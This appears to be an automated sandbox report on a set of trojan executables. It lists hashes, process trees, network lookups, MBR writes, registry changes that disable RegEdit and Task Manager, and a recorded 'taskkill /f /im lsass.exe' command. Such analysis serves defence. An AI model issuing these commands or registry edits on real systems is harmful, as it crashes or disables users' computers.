SHA256 38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48
SHA512 4fb5c06089524c6dcd48b6d165cedb488e9efe2d27613289ef8834dbb6c010632d2bd5e3ac75f83b1d8024477ebdf05b9e0809602bbe1780528947c36e4de32f

C:\Users\Admin\AppData\Local\Temp\one.rtf

MD5 6fbd6ce25307749d6e0a66ebbc0264e7
SHA1 faee71e2eac4c03b96aabecde91336a6510fff60
SHA256 e152b106733d9263d3cf175f0b6197880d70acb753f8bde8035a3e4865b31690
SHA512 35a0d6d91178ec10619cf4d2fd44d3e57aa0266e1779e15b1eef6e9c359c77c384e0ffe4edb2cde980a6847e53f47733e6eacb72d46762066b3541dee3d29064

memory/2568-554-0x0000000074D00000-0x00000000753EE000-memory.dmp

memory/1864-841-0x0000000002B80000-0x0000000002B81000-memory.dmp

memory/2568-845-0x000000006BF70000-0x000000006C282000-memory.dmp

memory/2568-844-0x0000000005240000-0x000000000524A000-memory.dmp

memory/2568-846-0x0000000074D00000-0x00000000753EE000-memory.dmp

memory/2568-843-0x0000000005260000-0x00000000052A0000-memory.dmp

memory/2568-842-0x0000000005250000-0x0000000005255000-memory.dmp

memory/2980-847-0x0000000002760000-0x0000000002761000-memory.dmp

Analysis: behavioral13

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:25

Platform

win7-20240221-en

Max time kernel

63s

Max time network

18s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe N/A

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe"

C:\Windows\SysWOW64\taskkill.exe

"C:\Windows\System32\taskkill.exe" /f /im lsass.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe"

Network

N/A

Files

memory/2724-1-0x00000000747F0000-0x0000000074EDE000-memory.dmp

memory/2724-0-0x0000000000270000-0x0000000000296000-memory.dmp

memory/2724-2-0x0000000004D20000-0x0000000004D60000-memory.dmp

memory/2772-3-0x0000000000400000-0x0000000000412000-memory.dmp

memory/2724-4-0x00000000747F0000-0x0000000074EDE000-memory.dmp

memory/2724-5-0x0000000004D20000-0x0000000004D60000-memory.dmp

Analysis: behavioral32

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:27

Platform

win10v2004-20240226-en

Max time kernel

107s

Max time network

172s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe"

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe N/A

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 840 wrote to memory of 4516 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe C:\Windows\system32\cmd.exe
PID 840 wrote to memory of 4516 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\FE9.tmp\FEA.tmp\FEB.bat C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 185.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 205.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 176.178.17.96.in-addr.arpa udp
US 20.231.121.79:80 tcp
US 8.8.8.8:53 201.64.52.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\FE9.tmp\FEA.tmp\FEB.bat

MD5 f2d5cf0bf3d6ec8c6d5dc97af835c5e5
SHA1 5b60f43fa6d5810bad58de5f06a0f84dd4aa9bf6
SHA256 31ee6e28c82ab165ca3048aec9a88c8590d6f0b94b88e7f87b6ec36d2fa0a24c
SHA512 075fb8005c93d9f61dfa07b41424591ff518a6f9c8a1fff74d1e6df39ec56377e48208e08a01485eafeced2880a4b18061ddfa637611a89ce3f252580c2deff9

Analysis: behavioral3

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:27

Platform

win7-20240221-en

Max time kernel

122s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe"

Signatures

Disables RegEdit via registry modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-1650401615-1019878084-3673944445-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe N/A

Disables Task Manager via registry modification

evasion

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe N/A

System policy modification

evasion
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "Bro what have you done" C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe"

Network

N/A

Files

N/A

Analysis: behavioral21

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:26

Platform

win7-20240221-en

Max time kernel

118s

Max time network

147s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe"

Signatures

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2504 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe C:\Windows\system32\cmd.exe
PID 2504 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe C:\Windows\system32\cmd.exe
PID 2504 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe C:\Windows\system32\cmd.exe
PID 2504 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\BC4D.tmp\BC4E.tmp\BC4F.bat C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\BC4D.tmp\BC4E.tmp\BC4F.bat

MD5 ffa0ad441b308bc1da589f8a734e806f
SHA1 704fc5c8773489b91d2f1ef221ab60ecd3257e3e
SHA256 c0f46b9a7fc82f7007adc96523159ae10571a099eeb0cc00eb930e91424a24a1
SHA512 bfeec821a3b26270e52990799d1c525845203ece47989c161cfa9ecf02675122d8bf1ef8dc3f3db199825d50fd6f4ee54312d8bf4ed827681284e715a6fac55b

Analysis: behavioral31

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:26

Platform

win7-20231129-en

Max time kernel

120s

Max time network

127s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe"

Signatures

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1364 wrote to memory of 2620 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe C:\Windows\system32\cmd.exe
PID 1364 wrote to memory of 2620 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe C:\Windows\system32\cmd.exe
PID 1364 wrote to memory of 2620 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\27EB.tmp\27EC.tmp\27ED.bat C:\Users\Admin\AppData\Local\Temp\Trojan\9reset\9reset.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\27EB.tmp\27EC.tmp\27ED.bat

MD5 f2d5cf0bf3d6ec8c6d5dc97af835c5e5
SHA1 5b60f43fa6d5810bad58de5f06a0f84dd4aa9bf6
SHA256 31ee6e28c82ab165ca3048aec9a88c8590d6f0b94b88e7f87b6ec36d2fa0a24c
SHA512 075fb8005c93d9f61dfa07b41424591ff518a6f9c8a1fff74d1e6df39ec56377e48208e08a01485eafeced2880a4b18061ddfa637611a89ce3f252580c2deff9

Analysis: behavioral1

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:26

Platform

win7-20240221-en

Max time kernel

121s

Max time network

134s

Command Line

C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\Trojan.zip

Signatures

N/A

Processes

C:\Windows\Explorer.exe

C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\Trojan.zip

Network

N/A

Files

N/A

Analysis: behavioral9

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:26

Platform

win7-20240221-en

Max time kernel

0s

Max time network

7s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe"

Signatures

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe"

Network

N/A

Files

N/A

Analysis: behavioral11

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:27

Platform

win7-20240221-en

Max time kernel

121s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe"

Network

N/A

Files

memory/2792-0-0x0000000000400000-0x0000000000412000-memory.dmp

Analysis: behavioral12

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:27

Platform

win10v2004-20240226-en

Max time kernel

162s

Max time network

213s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 172.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 185.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 chromewebstore.googleapis.com udp
US 8.8.8.8:53 chromewebstore.googleapis.com udp
GB 216.58.213.10:443 chromewebstore.googleapis.com tcp
US 8.8.8.8:53 10.213.58.216.in-addr.arpa udp
US 8.8.8.8:53 7.173.189.20.in-addr.arpa udp

Files

memory/2416-0-0x0000000000400000-0x0000000000412000-memory.dmp

Analysis: behavioral18

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:26

Platform

win10v2004-20240226-en

Max time kernel

0s

Max time network

25s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe"

Network

Files

N/A

Analysis: behavioral20

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:24

Platform

win10v2004-20231215-en

Max time kernel

8s

Max time network

77s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe"

Signatures

ACProtect 1.3x - 1.4x DLL software

Description Indicator Process Target
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation C:\WINDOWS\302746537.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\__tmp_rar_sfx_access_check_240613578 C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File opened for modification C:\Windows\antivirus-platinum.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File created C:\Windows\MSCOMCTL.OCX C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File opened for modification C:\Windows\MSCOMCTL.OCX C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File created C:\Windows\302746537.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File created C:\Windows\antivirus-platinum.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File created C:\Windows\COMCTL32.OCX C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File opened for modification C:\Windows\COMCTL32.OCX C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A
File opened for modification C:\Windows\302746537.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe N/A

Enumerates physical storage devices

NSIS installer

installer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6B7E638F-850A-101B-AFC0-4210102A8DA7}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{5ACBB955-5C57-11CF-8993-00AA00688B10}\ = "ListView General Property Page Object" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2334D2B1-713E-11CF-8AE5-00AA00C00905}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E8C-DF38-11CF-8E74-00A0C90F26F8}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7791BA60-E020-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9ED94444-E5E8-101B-B9B5-444553540000} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6B7E638F-850A-101B-AFC0-4210102A8DA7}\Implemented Categories C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6B7E638F-850A-101B-AFC0-4210102A8DA7}\MiscStatus\1 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0713E944-850A-101B-AFC0-4210102A8DA7}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BF877894-E026-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{7791BA62-E020-11CF-8E74-00A0C90F26F8}\TypeLib\Version = "1.3" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{BF877896-E026-11CF-8E74-00A0C90F26F8}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.SBarCtrl.1\CLSID\ = "{6B7E638F-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{7791BA52-E020-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{7791BA52-E020-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{7791BA60-E020-11CF-8E74-00A0C90F26F8}\ = "INodes" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{BF877890-E026-11CF-8E74-00A0C90F26F8} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BF877890-E026-11CF-8E74-00A0C90F26F8}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8A3-850A-101B-AFC0-4210102A8DA7}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{58DA8D8B-9D6A-101B-AFC0-4210102A8DA7}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58DA8D8A-9D6A-101B-AFC0-4210102A8DA7} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9ED94440-E5E8-101B-B9B5-444553540000}\Programmable C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{373FF7F0-EB8B-11CD-8820-08002B2F4F5A}\ = "Microsoft Slider Control, version 5.0 (SP2)" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{7791BA50-E020-11CF-8E74-00A0C90F26F8} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0713E944-850A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8A7-850A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{612A8624-0FB3-11CE-8747-524153480004}\MiscStatus\ = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{612A8628-0FB3-11CE-8747-524153480004} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58DA8D8F-9D6A-101B-AFC0-4210102A8DA7}\Implemented Categories\{40FC6ED5-2438-11CF-A3DB-080036F12502} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E80-DF38-11CF-8E74-00A0C90F26F8}\ = "IImageList" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0713E8A2-850A-101B-AFC0-4210102A8DA7}\ProgID\ = "COMCTL.TreeCtrl.1" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0713E8A2-850A-101B-AFC0-4210102A8DA7}\Implemented Categories C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8A4-850A-101B-AFC0-4210102A8DA7}\ = "ITreeViewEvents" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0713E8AE-850A-101B-AFC0-4210102A8DA7} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.Toolbar\CurVer\ = "COMCTL.Toolbar.1" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.Slider\CLSID C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{373FF7F0-EB8B-11CD-8820-08002B2F4F5A}\MiscStatus C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{6B7E6391-850A-101B-AFC0-4210102A8DA7}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7791BA42-E020-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{58DA8D8C-9D6A-101B-AFC0-4210102A8DA7} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E84-DF38-11CF-8E74-00A0C90F26F8}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E82-DF38-11CF-8E74-00A0C90F26F8}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{8556BCD0-E01E-11CF-8E74-00A0C90F26F8}\TypeLib\Version = "1.3" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.SBarCtrl\CLSID C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.Slider.1\CLSID C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2C787A52-E01C-11CF-8E74-00A0C90F26F8}\ = "IPanel11" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F4D83600-895E-11D0-B0A6-000000000000} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58DA8D8F-9D6A-101B-AFC0-4210102A8DA7}\Implemented Categories\{0DE86A57-2BAA-11CF-A229-00AA003D7352} C:\Windows\SysWOW64\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58DA8D93-9D6A-101B-AFC0-4210102A8DA7} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6B7E638F-850A-101B-AFC0-4210102A8DA7}\ToolboxBitmap32\ = "c:\\windows\\comctl32.ocx, 1" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0713E8D2-850A-101B-AFC0-4210102A8DA7}\Version C:\Windows\SysWOW64\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0713E8A8-850A-101B-AFC0-4210102A8DA7} C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58DA8D8F-9D6A-101B-AFC0-4210102A8DA7}\ToolboxBitmap32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{9ED94442-E5E8-101B-B9B5-444553540000}\ = "ITabStripEvents" C:\Windows\SysWOW64\regsvr32.exe N/A
